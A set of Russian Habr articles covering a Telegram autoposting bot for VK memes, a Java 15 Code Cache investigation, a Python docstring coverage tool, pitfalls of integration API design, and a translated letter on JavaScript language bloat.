Я уже занимался автопостингом в telegram, но в прошлый раз я использовал Client API (это то еще развлечение, почитать можно [тут](https://habr.com/ru/post/472970/)), в этот раз решил пойти более простым путем, и использовать Bot API, он гораздо понятнее задокументирован, и имеет некоторые приятные фичи (например, можно передавать картинку боту просто ссылкой на файл, тогда как в Client API нужно его загружать, а чтобы понять как - надо еще очень много времени потратить). Так вот, в методе [sendMessage](https://core.telegram.org/tdlib/docs/classtd_1_1td__api_1_1message_send_options.html) можно передать sheduleTime - и создавать сколько угодно отложенных постов, это и был мой изначальный план - разово все загрузить и поставить отложенные сообщения каждый час в течении дня, но оказывается Bot API так не умеет. Тогда я решил, что в можно просто сразу все подгружать в канал разово ночью, а днем смотреть сразу все. Но тут снова пришел нюанс - ограничение по количеству постов бота в единицу времени *окутано завесой тайны*. Так, например, [тут](https://stackoverflow.com/questions/45905266/what-is-the-limit-of-sending-messages-from-a-telegram-bot) говорят про 30 запросов в секунду, и не более 20 запросов в одну и ту же группу в течении минуты. На деле же, 429 ошибка (которая сообщает, что превышен лимит запросов) - падает весьма рандомно, иногда отваливаясь на 20 постах, иногда на 15, иногда пропускает до 45-50. Чтож, надо что-то придумать, а так как это все-таки даже не петпроект, а маленькая автоматизация, то городить что-то очень сложное и красивое мне было лень, и я изобрел костыль с сохранением в файл, и просто по задаче crontab-a беру оттуда записи, публикую, после чего пересохраняю записи в файл, удалив из них опубликованные. Работает и ладно :)
Итак, сначала снова напишем вспомогательный метод, чтобы обращаться к Bot API:
```
async callMethod(method, params){
try{
return await axios.post(`https://api.telegram.org/bot${this.token}/${method}`, params)
}catch (e){
console.error('Error with callMethod', e.response.data)
}
}
```
Дальше напишем три небольших оберточки вокруг *callMethod*, чтобы загружать текст, фотографию, и несколько фотографий:
```
async sendText(text){
return await this.callMethod('sendMessage', {
chat_id:this.destinationChat,
text:text
})
}
async sendPhoto(text, photo){
return await this.callMethod('sendPhoto', {
chat_id:this.destinationChat,
caption:text,
photo
})
}
async sendMediaGroup(text, arrayOfPhotos){
let mediaTypes = arrayOfPhotos.map((url, key) => {
let media = {
type: 'photo',
media: url
}
return key === 0 ? {caption: text, ...media} : media // описание для нескольких фотографий
})
return await this.callMethod('sendMediaGroup', {
chat_id:this.destinationChat,
caption:text,
media: mediaTypes
})
}
```
В 20 строке в этом коде есть проверка на значение номера фотографии. Это еще одна не очень очевидная вещь - есть в *sendPhoto* у нас есть поле caption, которое позволяет добавить подпись в картинке, то в *sendMediaGroup* такого нет - там есть только подписи к каждой картинке. Решается так - чтобы были подписи для нескольких картинок, надо эту подпись задать к первой картинке, а у остальных оставить подпись пустой.
Ну и осталось просто загружать данные в канал, методы простые и выглядят так, думаю, пояснять не надо, с комментариями тут все просто:
```
async processVkPosts(posts){ // постинг массива постов
for (const post of posts) {
console.log('Process', request)
if('photo' in post){
if(post['photo'].length > 1){
await this.sendMediaGroup(post['text'], post['photo']) // если несколько фотографий
}else{
await this.sendPhoto(post['text'], post['photo'][0]) // если одна фотография
}
}else{
await this.sendText(post['text']) // если только текст
}
}
}
async postPartGroup({length, posts}){ // выбираем из общего количества часть для постинга
const chunkSize = Math.floor((7 / 100) * length ) // сколько записей будет опубликовано из общего числа (в данном случае 7%)
const sliceEnd = chunkSize > length ? length : chunkSize
const processPosts = posts.slice(0, sliceEnd)
const otherPosts = posts.slice(sliceEnd, posts.length-1)
console.log('Proccess part, json len: ', length, 'real post: ', posts.length,' process post: ', processPosts.length, ' other posts: ', otherPosts.length, ' slice end: ', sliceEnd)
const resObject = {length, posts: otherPosts}
fs.writeFileSync('posts.txt', JSON.stringify(resObject));
await this.processVkPosts(processPosts)
}
```
В итоге класс для telegram выглядит так:
Hidden text
```
import axios from "axios";
import fs from 'fs'
class Telegram{
constructor(token, destinationChat) {
this.token = token
this.destinationChat = destinationChat
this.token = token
}
async callMethod(method, params){
try{
return await axios.post(`https://api.telegram.org/bot${this.token}/${method}`, params)
}catch (e){
console.error('Error with callMethod', e.response.data)
}
}
async sendText(text){
return await this.callMethod('sendMessage', {
"chat_id":this.destinationChat,
"text":text
})
}
async sendPhoto(text, photo){
return await this.callMethod('sendPhoto', {
"chat_id":this.destinationChat,
"caption":text,
photo
})
}
async sendMediaGroup(text, arrayOfPhotos){
let mediaTypes = arrayOfPhotos.map((url, key) => {
let media = {
type: 'photo',
media: url
}
return key === 0 ? {caption: text, ...media} : media
})
return await this.callMethod('sendMediaGroup', {
"chat_id":this.destinationChat,
"caption":text,
'media': mediaTypes
})
}
async processVkPosts(posts){
let request = 0
for (const post of posts) {
if(request++ % 14 === 0){
await this.sleep(1000)
}
console.log('Process', request)
if('photo' in post){
if(post['photo'].length > 1){
await this.sendMediaGroup(post['text'], post['photo'])
}else{
await this.sendPhoto(post['text'], post['photo'][0])
}
}else{
await this.sendText(post['text'])
}
}
}
async postPartGroup({length, posts}){
const chunkSize = Math.floor((7 / 100) * length )
const sliceEnd = chunkSize > length ? length : chunkSize
const processPosts = posts.slice(0, sliceEnd)
const otherPosts = posts.slice(sliceEnd, posts.length-1)
console.log('Proccess part, json len: ', length, 'real post: ', posts.length,' process post: ', processPosts.length, ' other posts: ', otherPosts.length, ' slice end: ', sliceEnd)
const resObject = {length, posts: otherPosts}
fs.writeFileSync('posts.txt', JSON.stringify(resObject));
await this.processVkPosts(processPosts)
}
sleep(ms){
return new Promise(r => setTimeout(r, ms));
}
}
export default Telegram
```
Инициализация:
```
const telegram = new Telegram(токен_бота, '@канал_в_который_постить')
telegram.postPartGroup(JSON.parse(fs.readFileSync('posts.txt', 'utf8')))
```
Далее осталось все собрать вместе. Я использовал для crontab, чтобы каждый день в 3 часа ночи скрипт собирал посты, а дальше в другой задачи постил. Для этого необходимо либо разнести функционал парсинга и постинга в разные файлы, или использовать аргументы командной строки. Я выбрал второй вариант, и получилось так:
```
const args = process.argv
if(args[2] === 'get'){
const res = await vk.processAll()
vk.storePosts(res)
}
if(args[2] === 'post'){
telegram.postPartGroup(JSON.parse(fs.readFileSync('posts.txt', 'utf8')))
}
```
Соответственно, команда для парсинга - `node index.js get`, для постинга - `node index.js post`
Часть 3. Как все запустить для себя
-----------------------------------
Максимально подробный гайд:
1. Получить access\_token для ВК. Самый простой способ без генерации ссылок:
1.1 [Создаем Standalone приложение](https://vk.com/editapp?act=create)
1.2 Заходим в [список приложений](https://vk.com/apps?act=manage), открываем наше приложение, открываем настройки, копируем `ID приложения` и вставляем в ссылку:
`https://oauth.vk.com/authorize?client_id=ваш айди&display=page&redirect_uri=&response_type=token&revoke=1&scope=`
1.3 Жмем "подтвердить", вас перекинет на страницу, у которой в адресной строке будет access\_token, сохраняем его.
2. Создать бота и получить его токен. Пишем <https://t.me/BotFather>, вводим название, получаем токен. Дальше пишем нашему боту для активации. Сохраняем токен бота
3. Создать канал, добавить туда нашего бота.
4. Загрузить и настроить бота - скачать файлы [отсюда](https://github.com/venanen/StoleMemes). В файле index.js устанавливаем: переменную token - токен из ВК, переменную memesGroups - массив id групп ВК, в инициализации указываем id канала, в который будем загружать записи.
5. Проверить, все ли нормально - `node index.js get` должен загрузить данные и положить их в файл post.txt, `node index.js post` должен загрузить первую порцию записей в канал
6. Осталось запустить crontab как вам удобно. У меня в 3 часа ночи запускается загрузка, и c 7 до 24 постинг. Пример моего crontab:
`0 1 * * * cd /home/dir/ && /root/.nvm/versions/node/v16.6.0/bin/node /home/dir/index.js get >> /home/getTest.txt
0 7-24 * * * cd /home/dir/ && /root/.nvm/versions/node/v16.6.0/bin/node /home/dir/index.js post >> /home/PostTest.txt`
P.S
---
Результат можно посмотреть [тут](https://t.me/NeuralMemesv2) посмотреть. Если зайдет - можете подписаться, но осторожно, там мемы, а мои вкусы весьма специфичны, я предупредил.
Не знаю, насколько это актуально для остальных - но мою проблему решило, может еще кому-нибудь пригодится.
Еще я изначально думал оформить это все в виде бота, чтобы не надо было ничего запускать, из-за ограничения по постингу - думаю, это будет проблематично. Штуку делал для себя, она работает, если будет кому-нибудь интересно, попробую и бота изобрести. | https://habr.com/ru/post/706116/ | null | ru | null |
# Как мы переходили на Java 15 или история одного бага в jvm длиной в 6 лет
Мы готовились к выходу Java 15 ради некоторых её новых возможностей. В частности — текстовых блоков. Да, они появились в Java 14 (о новых функциях в Java 14 можно посмотреть [здесь](https://habr.com/ru/post/491546/)), но только как превью-фича, а, начиная с Java 15, она стала доступна в виде окончательно готовой функции.
Мы в hh.ru привыкли внедрять и использовать самые современные технологии в разработке ПО. Пробовать что-то новое — одна из ключевых задач команды "Архитектура". Пока многие пишут на Java 8, мы уже близки к тому, чтобы отправить на свалку истории Java 11.
Как известно, Java стала выходить куда как чаще, поэтому работы по обновлению версий у нас прибавилось. С одной стороны, пришлось адаптироваться к новым реалиям, менять привычки, что не всегда комфортно. С другой — можно заранее целиться в функции, которые появятся в новой версии языка и не ждать релиза 3 года.
### Переезд с Java 14 на Java 15. Что-то пошло не так
Дождавшись выхода новый Java, мы приступили к переезду. Не мудрствуя лукаво, выбрали один из нагруженных сервисов, который уже крутился на Java 14. В теории никаких сложностей при переходе не должно было возникнуть, на практике — так и получилось. Обновление Java 14 на Java 15 не тоже самое, что обновление Java 8 на Java 11.
“hh и в продакшн” — сервис обновлён, работа выполнена. Что дальше? А дальше мониторинг работы. Для сбора метрик мы используем [*okmeter*](http://okmeter.io/). С его помощью мы наблюдали за поведением обновленного сервиса. Никаких аномалий по сравнению с предыдущей версией Java не было, кроме одной — нативная память. В частности, зона *Code Cache выросла почти в 2 раза!*
До конца 17 ноября Java 14, после Java 15Для сервиса с большим количеством инстансов каждый мегабайт памяти на счету, и, помимо её резкого роста, на графике просматривается возрастающий тренд. Кажется мы имеем дело с утечкой нативной памяти в Code Cache.
### Что такое вообще этот ваш Code Cache?
**Code Cache** — область нативной памяти, где хранится интерпретатор байткода Java, JIT-компиляторы C1 и C2, и оптимизированный ими код. Основным пользователем является JIT. Весь перекомпилированный им код будет сохранятся в Code Cache.
Начиная с Java 9 Code Cache поделен на три отдельных сегмента, в каждом из которых хранится свой тип оптимизированного кода ([JEP 197](http://openjdk.java.net/jeps/197)). Но на графике выше видно только одну выделенную область, несмотря на то что там Java 14 и Java 15. Почему одну?
Дело в том, что мы тонко настраивали размеры памяти при переводе сервисов в Docker (о том, как это было, можно почитать [тут](https://habr.com/ru/company/hh/blog/450954/)) и умышленно установили флаг размера Code Cache (*ReservedCodeCacheSize*) равным 72МБ в этом сервисе.
Три сегмента можно получить двумя путями: оставить значение *ReservedCodeCacheSize* по умолчанию (256Мб) или использовать ключ *SegmentedCodeCache*. Вот как эти зоны выглядят на графике с другого нашего сервиса:
### Поиск утечки нативной памяти в Code Cache
С чего начать расследование? Первое что приходит на ум — использовать *Native Memory Tracking,* функцию виртуальной машины HotSpot, позволяющую отслеживать изменение нативной памяти по конкретным зонам. В нашем случае использовать Native Memory Tracking нет необходимости, так как благодаря собранным метрикам, мы уже выяснили, что проблема в Code Cache. Поэтому мы решаем сделать следующее — *запустить инстансы сервиса с Java 14 и Java 15 вместе*. Так как у нас уже три дня сервис работает на "пятнашке", добавляем один инстанс на 14-ой.
Мы решаем продолжить поиск утечки с помощью утилит Java. Начнем с *jcmd*. Так как мы знаем, что "течет" у нас Code Cache, мы обращаемся к нему. Если сервис запущен в Docker, можно выполнить команду таким образом для каждого инстанса:
```
docker exec jcmd 1 Compiler.CodeHeap\_Analytics
```
Получаем два очень длинных и подробных отчета о состоянии Code Cache. Кропотливо сравнив их, мы обратили внимание на следующий интересный факт, связанный с очисткой Code Cache:
```
// Java 14
Code cache sweeper statistics:
Total sweep time: 9999 ms
Total number of full sweeps: 17833
Total number of flushed methods: 10681 (thereof 1017 C2 methods)
Total size of flushed methods: 20180 kB
// Java 15
Code cache sweeper statistics:
Total sweep time: 5592 ms
Total number of full sweeps: 236
Total number of flushed methods: 11925 (thereof 1146 C2 methods)
Total size of flushed methods: 44598 kB
```
Обратите внимание на количество циклов полной очистки — *Total number of full sweeps*. Вспомним, что сервис на Java 15 работает 3 дня, а на Java 14 всего 20 минут. Но количество полных очисток Code Cache поразительно разнится — почти 18 тысяч за 20 минут, против 236 за трое суток.
### Как работает очистка Code Cache
Пришло время углубиться в детали. За очистку Code Cache отвечает отдельный поток jvm [CodeCacheSweeperThread](https://github.com/AdoptOpenJDK/openjdk-jdk15u/blob/61c35054bd4b320479c1764a790cfb2c82909f3e/src/hotspot/share/runtime/thread.cpp#L3500), который вызывается с определенной эвристикой. Поток реализован как бесконечный цикл *while*, внутри которого он блокируется, пока не истечет 24-часовой таймаут, либо не будет снята блокировка вызовом:
```
CodeSweeper_lock->notify();
```
После того, как блокировка снята, поток проверяет, истек ли таймаут и имеет ли хотя бы один из двух флагов, запускающих очистку Code Cache, значение *true*. Только при выполнении этих условий, поток вызовет очистку Code Cache методом [sweep()](https://github.com/AdoptOpenJDK/openjdk-jdk15u/blob/master/src/hotspot/share/runtime/sweeper.cpp#L259). Давайте подробнее разберем флаги:
*should\_sweep. Этот флаг отвечает за две стратегии очистки Code Cache — нормальную и агрессивную. О стратегиях поговорим дальше.*
*force\_*sweep. Этот флаг устанавливается в *true* при необходимости принудительно очистить Code Cache без выполнения условий нормальной и агрессивной стратегий очистки. Используется в тестовых классах *jdk*.
#### Нормальная очистка
1. Во время вызова GC хранящиеся в Code Cache методы могут изменить свое состояние по следующему сценарию: *alive -> notentrant -> zombie. Методы не-alive помечаются как "должны быть удалены из Code Cache при следующем запуске потока очистки".*
2. *В конце своей работы GC передает ссылку на все не-alive объекты в метод* [*report\_*state\_*change*](https://github.com/AdoptOpenJDK/openjdk-jdk15u/blob/master/src/hotspot/share/runtime/sweeper.cpp#L483)*.*
3. *Далее в специальную переменную bytes\_changed* инкрементируется суммарный размер объектов, помеченных как *не-alive* в этом проходе GC.
4. Когда *bytes\_changed достигает порога, задаваемого в переменной sweep\_threshold*\_*bytes, флаг should\_sweep* помечается как *true* и блокировка потока очистки снимается.
5. Запускается алгоритм очистки Code Cache, в начале которого значение *bytes\_changed* сбрасывается. Сам он состоит из двух фаз: сканирование стека на наличие активных методов, удаление из Code Cache неактивных. На этом нормальная очистка завершена.
Начиная с Java 15 пороговым значением можно управлять с помощью флага *jvm* *SweeperThreshold* — он принимает значение в процентах от общего количества памяти Code Cache, заданном флагом *ReservedCodeCacheSize*.
#### Агрессивная очистка
Этот тип очистки появился еще в Java 9, как один из способов борьбы с переполнением Code Cache. Выполняется в тот момент, когда свободного места в памяти Code Cache становится меньше заранее установленного процента. Этот процент можно установить самостоятельно, используя ключ *StartAggressiveSweepingAt*, по умолчанию он равен 10.
В отличие от нормальной очистки, где мы ждем наполнения буфера "мертвыми" методами, проверка на старт агрессивной очистки выполняется при каждой попытке аллокации памяти в Code Cache. Другими словами, когда JIT-компилятор хочет положить новые оптимизированные методы в Code Cache, запускается проверка на необходимость запуска очистки перед аллокацией. [Проверка](https://github.com/AdoptOpenJDK/openjdk-jdk15u/blob/master/src/hotspot/share/runtime/sweeper.cpp#L275) эта довольно простая, если свободного места меньше, чем указано в *StartAggressiveSweepingAt*, очистка запускается принудительно. Алгоритм очистки такой же, как и при нормальной стратегии. И только после выполнения очистки, JIT сможет положить новые методы в Code Cache.
### Что у нас?
В нашем случае размер Code Cache был ограничен 72 МБ, а флаг *StartAggressiveSweepingAt* мы не задавали, значит по умолчанию он равен 10. Если взглянуть на статистику очистки Code Cache, может показаться, что на Java 14 работает именно агрессивная стратегия. Дополнительно убедиться в этом нам помог тот же график, но с увеличенным масштабом:
Java 14Он имеет зубчатую структуру, которая говорит о том, что очистка происходит часто, и, вероятно, методы по кругу выгружаются из Code Cache, в следующей итерации JIT-компиляции вновь попадают обратно, после снова удаляются etc.
Но как это возможно? Почему работает агрессивная стратегия очистки? По умолчанию она должна запускаться в тот момент, когда свободного места в Code Cache менее 10%, в нашем случаем только при достижении 65 мегабайт, но мы видим, что она происходит и при 30-35 мегабайтах занятой памяти.
Для сравнения, график с запущенной Java 15 выглядит иначе:
Java 15Зубчатая структура отсутствует, есть плавный рост, затем очистка и снова рост. Разгадка где-то рядом.
### Утечка не утечка
Так как работой Code Cache управляет *jvm*, мы отправились искать ответы в исходниках *openJDK*, сравнивая версии [Java 14](https://github.com/AdoptOpenJDK/openjdk-jdk14u) и [Java 15](https://github.com/AdoptOpenJDK/openjdk-jdk15u). В процессе поисков мы обнаружили интересный [баг](https://bugs.openjdk.java.net/browse/JDK-8244278). Там сказано, что агрессивная *очистка Code Cache работает неправильно с того момента, как ее внедрили в Java 9.* Вместо старта агрессивной очистки при 10% свободного места, она вызывалась при 90% свободного места, то есть почти всегда. Другими словами, оставляя опцию *StartAggressiveSweepingAt* = 10, на деле мы оставляли *StartAggressiveSweepingAt* = 90. Баг был исправлен 3 июля 2020 года. А все дело было в одной [строчке](https://github.com/AdoptOpenJDK/openjdk-jdk15u/commit/f7cb0f760f0460123b1a2a33ec48793eccf9c83a):
Этот фикс вошел во все версии Java после 9-ки. Но почему тогда его нет в нашей Java 14? Оказывается, наш docker-образ Java 14 был собран 15 апреля 2020 года, и тогда становится понятно, почему фикс туда не вошел:
Так значит и утечки нативной памяти в Code Cache нет? Просто всё время очистка работала неправильно, впустую потребляя ресурсы cpu. Понаблюдав еще несколько дней за сервисом на Java 15, мы сделали вывод, что так и есть. Общий график нативной памяти вышел на плато и перестал показывать тренд к росту:
скачок на графике - это переход на java 15### Выводы
1. Как можно чаще обновляйте свою Java. Это касается не только мажорных версий, но и патчевых. Там могут содержаться важные фиксы
2. Разумное использование метрик помогает обнаружить потенциальные проблемы и аномалии
3. Переходите на Java 15, оно того стоит. Вот [тут](https://openjdk.java.net/projects/jdk/15/) список всех фич, которые появились в пятнашке
4. Если вы используете Java 8, то у вас проблемы агрессивной очистки Code Cache нет, за отсутствием этого функционала как такового. Однако существует риск, что Code Cache может переполниться и JIT-компиляция будет принудительно отключена | https://habr.com/ru/post/536906/ | null | ru | null |
# Docstring coverage — покрытие python-кода документацией
Как проверить, что python-разработчики (или вы сами) хорошо задокументировали код, кроме как просматривать все руками или генерировать pydoc'ом документацию и сравнивать с исходниками? Вот и я не нашел никакого решения, пока случайно не натолкнулся на старый-престарый скрипт, который вдохновил меня на форк и последующую несложную доработку.
В результате у меня получился простой и полезный (по крайней мере для меня :) ) инструмент Docstring coverage, позволяющий оценить процентное покрытие кода документацией по всему проекту.
Запускается так:
```
docstring-coverage [опции] <путь к папке или модулю>
```
Пример вывода:
```
$ docstring-coverage docstring-coverage/
File docstring-coverage/setup.py
- No module dostring!
Needed: 1; Exist: 0; Missing: 1; Coverage: 0.0%
File docstring-coverage/docstringcoverage/__init__.py
- No module dostring!
Needed: 1; Exist: 0; Missing: 1; Coverage: 0.0%
File docstring-coverage/docstringcoverage/cover.py
- No docstring for DocStringCoverageVisitor!
- No docstring for DocStringCoverageVisitor.__init__!
- No docstring for DocStringCoverageVisitor.visitModule!
- No docstring for DocStringCoverageVisitor.visitClass!
- No docstring for DocStringCoverageVisitor.visitFunction!
- No docstring for DocStringCoverageVisitor.getResult!
- No docstring for get_docstring_coverage.printDocstring!
Needed: 11; Exist: 4; Missing: 7; Coverage: 36.4%
Overall statistics for 3 files:
Docstrings needed: 13; Docstrings exist: 4; Docstrings missing: 9
Total docstring coverage: 30.8%; Grade: not so good
```
Среди опций есть -m, которая заставляет утилиту пропускать \_\_магические\_\_ методы python и -v, позволяющая настроить уровень «болтливости» вывода от 0 до 3.
При желании можно импортировать в рабочий проект использовать для получения статистики по покрытию:
```
import docstringcoverage
cover_results = docstringcoverage.get_docstring_coverage(['somefolder/somefile.py'])
```
Отдается в виде списка с двумя элементами типа dict:
```
[
{'<имя файла>':
{
'missing': ["<имя метода, класса или функции","..."],
'module_doc': , #есть ли докстринг для модуля
'missing\_count': , #сколько пропущено докстрингов
'needed\_count': , #сколько всего должно быть докстрингов
'coverage': , #процент покрытия
'empty': #True, если файл пуст
#(нет импортов, функций, классов или переменных)
},
...
},
#всего по проекту
{
'missing\_count': ,
'needed\_count': ,
'coverage': ,
}
```
Вся документация с примерами есть на странице [проекта](https://bitbucket.org/DataGreed/docstring-coverage/wiki/Home). | https://habr.com/ru/post/149371/ | null | ru | null |
# Чего ждать при работе с API: 5 (не)обычных проблем при интеграции приложений
Где-то на просторах мультивселенной…
Представьте на минуту, что вы капитан [Сиракузии](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D1%80%D0%B0%D0%BA%D1%83%D0%B7%D0%B8%D1%8F), которая в 239 году до н. э. приближается к острову Фарос, что близ города Александрии. Вследствие узости прохода, войти в гавань Александрии — непростая задача, в особенности, для такого корабля, как ваш. Вы слышали, что за последний год навигация около острова улучшилась, так как был завершен Фа́росский маяк, уникальное сооружение, заложенное еще при Птолемее I.
Но, приблизившись к острову, вы понимаете, что промахнулись мимо гавани, так как гигантский маяк был спроектирован башней под воду, а свет сигнальных костров виден только в сумерках и при сильной облачности, ведь зеркала подводной башни отражают свет исключительно вверх. Проклиная свою работу, вы пишете письмо Гиерону II, с описанием того, как неудачно спроектирован интерфейс взаимодействия с портом, а он, как человек с поистине царским чутьем, решает подарить корабль правителю Александрии, а сам начинает смотреть в сторону альтернативных торговых маршрутов…
Почему-то, когда я думаю об интеграционных API, с которыми неудобно работать, в голове появляется образ именно такого вот маяка, и в этой статье хотелось бы рассказать о конкретных проблемах, с которыми мы в [Smartcat](https://smartcat.com/) сталкивались в процессе интеграции с различными внешними сервисами, а также высказать своё субъективное мнение о том, что именно делает интеграционное API удобным. Итак, капитан очевидность поднялся на борт, поплыли.
Проблема #1: external\_id курильщика
------------------------------------
На мой взгляд, external\_id – незаменимая концепция при проектировании API. Идентификатор, сгенеренный на стороне потребителя API и задаваемый при создании сущности, обеспечивает её уникальность и позволяет однозначно идентифицировать сущность во внешней системе. Допустим, мы хотим создать транзакцию на стороне платежного провайдера, если положить в поле external\_id наш идентификатор заказа, то при повторной попытке создать транзакцию с таким идентификатором мы получим ошибку и защитимся от создания дубликата.
Не все интеграционные API поддерживают этот концепт, из-за чего приходится писать дополнительный код, обрабатывающий различные сценарии отказов в работе с API. Всегда перед созданием сущности приходится искать её по каким-то дополнительным признакам во внешней системе, и, только после этого что-то создавать. Сам процесс создания в таком случае необходимо явно ограничивать до одного потока выполнения, чтобы избежать проблем с конкурентностью.
Как эту концепцию можно превратить в «подводный маяк»? Ну, например, один из интегрируемых сервисов позволял задавать external\_id, который обеспечивал уникальность в течении приблизительного промежутка времени с момента создания сущности, после чего его можно использовать повторно. В отсутствии четкого способа идентифицировать данные при поиске - это проблема. Еще у одного сервиса поиск по external\_id работал только два месяца, после чего данные пропадали из выдачи.
Проблема #2: нет разделения моделей для запросов и ответов
----------------------------------------------------------
Иногда в документации к API описываются модели, которые используются и в запросах к серверу, и в ответах – я называю такие модели Jack of all trades (мастер на все руки). Ничего страшного в этом вроде нет, ровно до тех пор, пока у нас не появляются объекты вроде`{ foo:”value1”, bar:”value2” … }`, где поле “foo” заполняется в моделях запроса, а “bar” - в ответах сервера. Но это уже выясняется эмпирически в процессе интеграции.
На мой взгляд, контекст моделей участвующие в запросах и ответах лучше сразу разделять: да, мы получаем оверхед по поддержке большего числа моделей (современные IDE с инструментами по рефакторингу и навигации позволяют ощутимо его снизить), но зато мы получаем возможность работать с ними независимо друг от друга и снимаем когнитивную нагрузку с потребителей нашего API.
Проблема #3: избыточная защита в неожиданных местах
---------------------------------------------------
Вполне обоснованно ожидать, что сервис, выполняющий асинхронные операции над данными, будет отправлять callback-уведомления об изменении созданных потребителем API сущностей — это позволяет снизить частоту опроса состояния сущностей на стороне потребителя, сохранив возможность получать информацию по изменениям максимально оперативно.
Хорошая практика - убедиться, что получатель колбека действительно его получил - обычно достаточно проверить код ответа: 200 — порядок, у нас в клубе джентльменам принято верить на слово. Если хочется подстраховаться, то можно договориться, что получатель, например, будет передавать в ответе идентификатор колбека. Так по крайней мере мы будем уверены, что объект получен, и мы не стучимся в абстрактный эндпоинт в вакууме, возвращающий на любой запрос 200.
Но однажды мы встретили ситуацию, которую назвали «MITM-рояль в кустах»: для того, чтобы просто сообщить отправителю о том, что колбек получен, необходимо прочитать всю модель, и вернуть в ответе хеш на основании её полей. Само собой, в том порядке, в котором они идут в JSON — отложим в сторону «новомодные» фреймворки с маппингами в типизированные модели.
То есть несмотря на то, что по идее мы защищены https-сертификатом, разработчики «городят» дополнительный слой безопасности в идентификации получения коллбека.
Еще одно гипотетическое неудобство такого подхода — сервис отправитель принуждает нас разбирать и обрабатывать (пусть даже частично) модель коллбека синхронно, при получении. Хотя при работе с несколькими типами событий через один эндпоинт вариант – сохранить «сырой» коллбек, а обработку провести асинхронно - может быть предпочтительнее.
А вы часто встречаете такую реализацию защиты от MITM-атаки при обработке коллбека?
Проблема #4: изменение типа в зависимости от параметров
-------------------------------------------------------
`{transaction: {id:”1”}}`
`{transaction: [{id:”1”}]}`
Как вам метод, который в зависимости от параметра в запросе будет возвращать в одном из полей ответа либо объект, либо массив, содержащий в себе один элемент?
Я не вижу ничего плохого в том, чтобы давать потребителю возможность кастомизировать получаемый им ответ (в разумных пределах, само собой), но одно дело – добавить дополнительные необязательные поля в модель, которые будут заполняться в зависимости от параметров, и, совершенно другое – менять тип уже существующего поля, при этом, не обозначить это явно в документации.
Особенно неприятно то, что, при работе с JSON, например, через библиотеку Newtonsoft Json.NET вы будете получать высокоуровневую ошибку десериализации поля, а дальше долго и вдумчиво всматриваться в два одинаковых объекта, пока глаз не заметит пресловутую пару квадратных скобок…
Проблема #5: делегированная безопасность
----------------------------------------
Представьте, что у вас есть интернет магазин, и вы хотите принимать оплату покупок в нем онлайн по карте, давая возможность пользователю запоминать данные его карты, но совсем не хотите заморачиваться с полноценным прохождением сертификации по PCI DSS.
На помощь придет огромное множество платежных систем, которые берут на себя всю работу по привязке карты пользователя. По завершению вы получите идентификатор карты во внешней системе, и наверняка – маскированный номер карты. Эти данные вы спокойно сохраняете у себя в БД магазина для дальнейшего использования.
Но есть нюанс. Если платежная система в качестве такого идентификатора возвращает её хешированный номер, то в случае, если наша база будет скомпрометирована, наличие хеша, бина и последних четырех цифр карты позволят злоумышленникам за обозримое время перебором получить полный номер карты. И тут уже никакая блокировка идентификаторов не поможет.
Заключение: как всё исправить
-----------------------------
Конечно, перечисленные в статье примеры – самые «выдающиеся» представители подводных маяков. Если повезет, то вы никогда с ними не познакомитесь. Но объединяет все эти примеры, на мой взгляд, одно – в них явно не были продуманы сценарии использования с точки зрения потребителей (о злом умысле при проектировании вопрос ставить желания нет).
Поэтому возникает вопрос, а всегда ли мы при создании API думаем о его конечных пользователях? Чтобы сделать интерфейс по-настоящему удобным, стоит учитывать ряд моментов:
* **Внутренняя кухня приложения не должна влиять на интеграцию.** «Обеспечение уникальности в течение интервала ~N» – явно как-то связано с ненужными внешнему пользователю особенностями системы. Функции external\_id должны быть одинаковыми на протяжение всего времени жизни сущности в системе.
* **Контекст моделей запросов и ответов нужно разделять**. Может показаться, что это сильно избыточно. Однако в конечном итоге, максимальная прозрачность в вопросе использования моделей даёт плюсы не только потребителям API, но и разработчикам.
* **Выбирайте подходящие методы защиты**. Реализуя защиту от какой-либо атаки задумайтесь, действительно ли этот вектор атаки актуален в реализуемом вами сценарии.
* **Нужно избегать чрезмерной кастомизации ответов**. Модель ответа – более-менее строгий контракт, излишняя кастомизация которого может говорить о том, что рядом нужен просто еще один, другой контракт.
* **Думайте о том, как передаваемые данные могут быть использованы злоумышленниками**. Всегда нужны серьезные основания для того, чтобы отдавать чувствительные данные во внешние системы, даже в зашифрованном виде, особенно если эти данные используются для идентификации. Компрометации данных на стороне потребителя может обесценить любые удобства таких идентификаторов.
А какие трудности при работе над интеграционными проектами встречались вам? Делитесь описанием и своими решениями/советами в комментариях – сделаем материал полезнее. | https://habr.com/ru/post/523810/ | null | ru | null |
# Перевод: Трагедия common lisp
Вашему вниманию предлагается перевод письма [Марка Миллера](https://en.wikipedia.org/wiki/Mark_S._Miller), одного из участников комитета по стандартизации JavaScript. В этом письме Марк рассказывает, к чему может привести «ползучий фичеризм» при дизайне языков программирования. И почему он не хочет добавлять в javascript синтаксис «let-block».
Я не собираюсь поддерживать инициативу добавления такого синтаксиса в javascript. Более того, если кто-нибудь вызовется это сделать, то я приложу все усилия, чтобы закопать такое начинание. И вот почему.
Разработчики хвалили Algol, Smalltalk, Pascal и ранние версии Scheme за малый размер и красивый синтаксис. JavaScript и C аргументировано критиковали за разное, и мало кто мог принять их за языки с красивым синтаксисом. Но у них был малый размер спецификации, и это всегда ценилось разработчиками. Когда описание языка программирование невелико, то такой язык часто воспринимается как “я могу выучить синтаксис полностью и тем самым овладеть языком в совершенстве”, которое затем меняется на “я знаю синтаксис полностью. Мне нравится тот факт, что в языке не осталось ничего, о чем бы я не знал”. Хотя, конечно, для JavaScript и C только немногие из тех, кто так думают, на самом деле досконально знают эти языки. В их темных уголках сокрыто множество дьявольски запутанных деталей. Тем не менее, эти ощущения добавляли удовлетворения при каждодневном использовании языка программирования.
Эстетика маленькой спецификации языка сохранялась вплоть до ES5. Я активно участвовал в разработке как ES5, так и ES6, и горжусь своим вкладом в язык. Да, спецификация ES6 сильно больше чем у ES5, но, тем не менее, сам язык стал намного лучше. Учитывая, с чего мы начинали, мы бы не достигли такого прогресса в юзабельности ES6 без значительного расширения его спецификации. И я не жалею о большинстве дополнений, которые превратили ES5 в ES6. Если бы у меня была возможность вернуть в прошлое и все переиграть, то я скорее всего сделал бы все так же.
